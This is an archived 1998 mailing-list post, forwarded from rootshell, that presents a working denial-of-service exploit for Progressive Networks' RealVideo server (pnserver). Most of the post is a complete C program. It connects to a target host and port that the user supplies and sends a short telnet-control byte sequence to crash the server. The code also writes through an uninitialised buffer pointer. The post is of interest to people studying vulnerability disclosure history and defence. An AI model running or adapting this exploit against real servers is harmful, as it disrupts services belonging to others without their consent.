pnserver exploit..

Aleph One (aleph1@DFW.DFW.NET)
Thu, 15 Jan 1998 21:22:43 -0600

Courtesy of the fine folks at rootshell.

-- forward --

It seems that the pnserver bug was different than first thought. The
telnet client sends 6 characters that crash the server when its own
maxbuffer is reached. Here is a working exploit.

/*
* pnserver exploit [1/15/98]
*
* Crash's Progressive Networks Real Video Server [ http://www.real.com/ ]
*
* [ http://www.rootshell.com/ ]
*
* Compiled under linux.
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void main(int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *hp;
char *buffer;
int sock;

if (argc != 3) {
printf("usage: %s <rvserver_host> <port>\n\nNote: Try port 7070.\n\n", argv[0]);
exit(1);
}
hp = gethostbyname(argv[1]);
if (hp==NULL) {
printf("Unknown host: %s\n",argv[1]);
exit(1);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(atoi(argv[2]));
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock,(struct sockaddr *) &sin, sizeof(sin));
sprintf(buffer, "%c%c%c%c%c", 255, 244, 255, 253, 6);
write(sock, &buffer[0], strlen(buffer));
close(sock);
}